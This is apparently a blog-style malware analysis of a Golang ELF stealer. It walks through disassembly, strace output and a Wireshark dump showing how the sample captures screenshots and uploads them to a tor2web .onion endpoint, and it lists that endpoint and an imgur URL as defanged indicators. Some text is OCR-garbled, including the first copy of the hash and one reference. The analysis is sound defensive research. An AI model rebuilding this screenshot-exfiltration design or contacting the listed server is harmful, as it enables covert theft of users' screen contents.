# ELF Malware - Inside a Golang Stealer

## General Information

The sample analyzed in this document is the ELF64 binary with the SHA256 hash value

**06e87fdd502778ble2fceb93813aalfcd322a3d0e8e20a5c516cc2f383dblcf0**. The file command reveals this is a golang binary and not stripped, which makes analysis much easier.

## Output of "file"

06e87fdd502778b1e2fceb93813aa1fcd322a3d0e8e20a5c516cc2f383db1cf0.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=y2sJGAikRDCJGGkz04ks/ohtFjssV-b3sJ2\_sPRw/L\_jvaNvehEURhxkbJSwW/g0UAYxP-cmPkM3DRekhf, not stripped

# Static Analysis

The first function called in the main routine is named **getClientDetails**. This function utilizes the **os** and **os/user** libraries, retrieving the username the malware runs under [1] and the hostname [2] of the system. Further, **getClientDetails** uses a function **getIP** to obtain the IP address of the victim computer via https://api.ipify.org. This website is contacted using the **Client** type from the golang **http** library [3] via a GET request. This part is shown below.

🗾 🚄 🔛	
sub	rsp, 60h
mov	[rsp+60h+var_8], rbp
lea	rbp, [rsp+60h+var_8]
xorps	xmm0, xmm0
movups	[rsp+60h+var_18], xmm0
mov	[rsp+60h+var_19], 0
xorps	xmm0, xmm0
movups	[rsp+60h+arg_0], xmm0
nop	
mov	<pre>rax, cs:net_http_DefaultClient</pre>
mov	[rsp+60h+http_client], rax
lea	<pre>rax, aTlsDialwithdia+1747h ; "https://api.ipify.org?format=textindefi"</pre>
mov	[rsp+60h+url_ip], rax
mov	[rsp+60h+var_50], 21h ; '!'
call	net_httpptr_ClientGet
mov	rax, [rsp+60h+var_48]
mov	rcx, qword ptr [rsp+60h+var_40+8]
mov	rdx, qword ptr [rsp+60h+var_40]
test	rdx, rdx
iz	short loc 69EB62

After **getClientDetails**, the UserHomeDir and MkdirAll functions, both contained in the library **os**, are used to create the directory **win32logs** in the user's home.

call	os_UserHomeDir
mov	rax, qword ptr [rsp+88h+var_88+8]
mov	<pre>rcx, qword ptr [rsp+88h+var_88]</pre>
xorps	xmm0, xmm0
movups	[rsp+88h+var_58], xmm0
movups	<pre>[rsp+88h+str_win32logs], xmm0</pre>
mov	qword ptr [rsp+88h+var_58], rcx
mov	<pre>qword ptr [rsp+88h+var_58+8], rax</pre>
lea	<pre>rax, aWin32logs ; "win32logs"</pre>
mov	<pre>qword ptr [rsp+88h+str_win32logs], rax</pre>
mov	<pre>qword ptr [rsp+88h+str_win32logs+8], 9</pre>
lea	rax, [rsp+88h+var_58]
mov	<pre>qword ptr [rsp+88h+var_88], rax</pre>
mov	<pre>qword ptr [rsp+88h+var_88+8], 2</pre>
mov	<pre>qword ptr [rsp+88h+var_78], 2</pre>
call	<pre>path_filepath_join</pre>
mov	<pre>rax, qword ptr [rsp+88h+var_78+10h]</pre>
mov	<pre>rcx, qword ptr [rsp+88h+var_78+8]</pre>
mov	<pre>qword ptr [rsp+88h+var_88], rcx</pre>
mov	<pre>qword ptr [rsp+88h+var_88+8], rax</pre>
mov	dword ptr [rsp+88h+var_78], 1FFh
call	os_MkdirAll

The next routine, named **handlePicDisplay** performs a download of the image

[https://]i[.]imgur[.]com/zkE7Ge7[.]jpeg

, again via the http library, to the newly created win32logs directory. After the download is completed, the gnome-open command is run on the downloaded image. I haven't figured out why this is done, I can only guess.

After these first routines, the main section of the stealer starts its work. In the figure below, you can see the main routines.

call	main_handlePicDisplay
mov	dword ptr [rsp+88h+var_88], 0
lea	rax, p_handle_screenshot
mov	<pre>qword ptr [rsp+88h+var_88+8], rax</pre>
call	runtime_newproc
mov	eax, OEE6B2800h
mov	<pre>qword ptr [rsp+88h+var_88], rax</pre>
call	time_Sleep
movups	xmm0, [rsp+88h+var_38]
movups	[rsp+88h+var_88], xmm0
movups	xmm0, [rsp+88h+var_28]
movups	xmmword ptr [rsp+88h+var_78], xmm0
movups	xmm0, [rsp+88h+var_18]
movups	<pre>xmmword ptr [rsp+88h+var_78+10h], xmm0</pre>
call	main_handleFileUpload
mov	rbp, [rsp <del>+88h+var_8</del> ]
add	rsp, 88h
retn	

The	<pre>runtime_newp</pre>	roc functi	on	has	а	function	роі	Inter	to	the
handle	eScreenshot.	According	to	[4],	а	goroutine	is	trans	lated	to

runtime.newproc, thus the handleScreenshot function runs in a separate thread. In a last step, the function **handleFileUpload** is called, which runs indefinitely.

### handleScreenshot

This routine uses the library **screenshot** [5] to take screenshots. Each screenshot is named [number].png, where [number] is incremented with each screenshot and saved to the win32logs directory. The github page of the screenshot library features an example which comes pretty close to the code in the malware. The below figure shows a snippet of the routine.

📕 🗹 🖼	
loc_69E	DEC:
mov	[rsp+0A8h+var_68], rdx
nop	
mov	[rsp+0A8h+var_A8], 0
call	github_com_kbinani_screenshot_internal_xwindow_GetDisplayBounds
mov	rax, [rsp+0A8h+var_88]
mov	rcx, [rsp+0A8h+var_90]
mov	rdx, [rsp+0A8h+var_A0]
mov	rbx, [rsp+0A8h+var_98]
mov	[rsp+0A8h+var_A8], rdx
mov	[rsp+0A8h+var_A0], rbx
mov	[rsp+0A8h+var_98], rcx
mov	[rsp+0A8h+var_90], rax
call	github_com_kbinani_screenshot_CaptureRect
mov	rax, [rsp+0A8h+var_88]
mov	rcx, qword ptr [rsp+0A8h+var_80+8]
mov	rdx, qword ptr [rsp+0A8h+var_80]
test	rdx, rdx
jnz	

#### handleFileUpload

This function utilizes another library that can be found on github: **go-resumable** [6] Which provides "multiple simultaneous and resumable uploads". Via this, the malware uploads the screenshots to

[http://] sstu6qhgld46pqr57zai7zyfsqv4m5cvjcyu7ibkrx2sp2yyhoaa5iid
[.]onion[.]ws/fu

(tor2web) in regular intervals in a simple loop. The screenshot below shows part of the handleFileUpload routine.



#### Dynamic Analysis

Using **strace** a dynamic analysis was performed, confirming the findings of the static analysis. The creation of a screenshot file (0.png) and the data being written to it are shown in the listing below. The malware was executed as root, thus the screenshot is saved in root/win32logs.

```
-- snip -- openat(AT_FDCWD, "/root/win32logs/0.png",
O_RDWR|0_CREAT|0_TRUNC|0_CLOEXEC, 0666) = 8 epoll_ctl(3,
EPOLL_CTL_ADD, 8, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET,
{u32=2689387896, u64=140095932648824}}) = -1 EPERM (Operation not
permitted) epoll_ctl(3, EPOLL_CTL_DEL, 8, 0xc0000b7db4) = -1 EPERM
(Operation not permitted) write(8, "\211PNG\r\n\32\n", 8) = 8
write(8, "\0\0\0\rIHDR", 8) = 8 write(8, "\0\0\7\200\0\0\3\302\10\2\0
\0\0", 13) = 13 write(8, "\26\37R\345", 4) = 4 --- SIGURG
{si_signo=SIGURG, si_code=SI_TKILL, si_pid=55081, si_uid=0} ---
rt_sigreturn({mask=[]}) = 64813426 write(9, "+\0\1\0", 4) = 4
write(8, "\0\0\200\0IDAT", 8) = 8 write(8, "x\234\354\335wXS\327\377
\7\360\223\204$\214@\200\0002\5\5\21\34\250(\270P\226\210{\26\7"...,
32768) = 32768 write(8, "\314\267-\307", 4) -- snip --
```

The image below shows the screenshots created by the malware after a second run as a normal user. Also in this directory is the basePic.jpeg image downloaded from the imgur URL.

0.png 11.png 13.png 15.png 17.png 19.png 20.png 22.png 24.png 26.png 28.png 2.png 31.png 33.png 33.png 35.png 37.png 39.png 40.png 44.png 44.png 4.png 6.png 8.png basePic.jpeg 10.png 12.png 14.png 16.png 18.png 1.png 12.png 23.png 25.png 27.png 29.png 30.png 32.png 34.png 36.png 38.png 31.png 41.png 43.png 45.png 5.png 7.png 9.png

In addition to strace, wireshark was used to capture the network traffic. Below in the listing, the partial dump of a HTTP post request

is shown, uploading the first screenshot (0.png) to the attacker URL.

sni	р <u>-</u> .	-															
0030	fa	f0	37	ce	00	00	50	4f	53	54	20	2f	66	75	20	48	7POST /fu H
0040	54	54	50	2f	31	2e	31	0d	0a	48	6f	73	74	3a	20	73	TTP/1.1Host:
0050	73	74	75	36	71	68	67	6c	64	34	36	70	71	72	35	37	stu6qhgld46pqr <mark>5</mark> 7
0060	7a	61	69	37	7a	79	66	73	71	76	34	6d	35	63	76	6a	zai7zyfsqv4m5cvj
0070	63	79	75	37	69	62	6b	72	78	32	73	70	32	79	79	68	cyu7ibkrx2sp2yyh
0080	6f	61	61	35	69	69	64	2e	6f	6e	69	6f	6e	2e	77	73	oaa5iid.onion.ws
sni	р - ·	-															
01a0	72	6f	6f	74	0d	0a	41	63	63	65	70	74	2d	45	6e	63	rootAccept-End
01b0	6f	64	69	6e	67	3a	20	67	7a	69	70	0d	0a	0d	0a	89	oding: gzip
01c0	50	4e	47	0d	0a	1a	0a	00	00	00	0d	49	48	44	52	00	PNGIHDR.
01d0	00	07	80	00	00	03	c2	08	02	00	00	00	16	1f	52	e5	R.
01e0	00	00	48	86	49	44	41	54	78	9c	ec	dd	77	94	15	f5	H.IDATxw.
sni	р - ·	-															

#### Conclusion

Due to the binary not being stripped, the static analysis uncovered most of the stealer's functionality. It was also the first golang malware I analyzed, so that was greatly beneficial for me. Although this malware is not very stealthy, creating a directory visibly in the user's home, it may still be able to steal sensitive data during the time it takes to be detected and deleted. Sadly, I was not able to find any information about how this stealer finds its way to the victim machine. Because the files were successfully uploaded to the URL found in the malware during the dynamic analysis, it still seems to be very much alive and performing its malicious activity.

**References:** 

- [1] Golang Documentation, "os user Current." https://golang.org/pkg/os/user/#Current [2] Golang Documentation, "os Hostname." https://golang.org/pkg/os/#Hostname [3] Golang Documentation, "http Client." https://golang.org/pkg/net/http/#Client [4] Go Internals https://eli.thegreenplace.net/2019/go-internals-capturing-loop-variables-in-closures/ [5] conservent library https://ei.thegreenplace.net/2019/go-internals-capturing-loop-variables-in-closures/
- [5] screenshot library https://github.com/kbinani/screenshot [6] go-resumable library https://github.com/bleenco/go-resumable

<u><= back</u>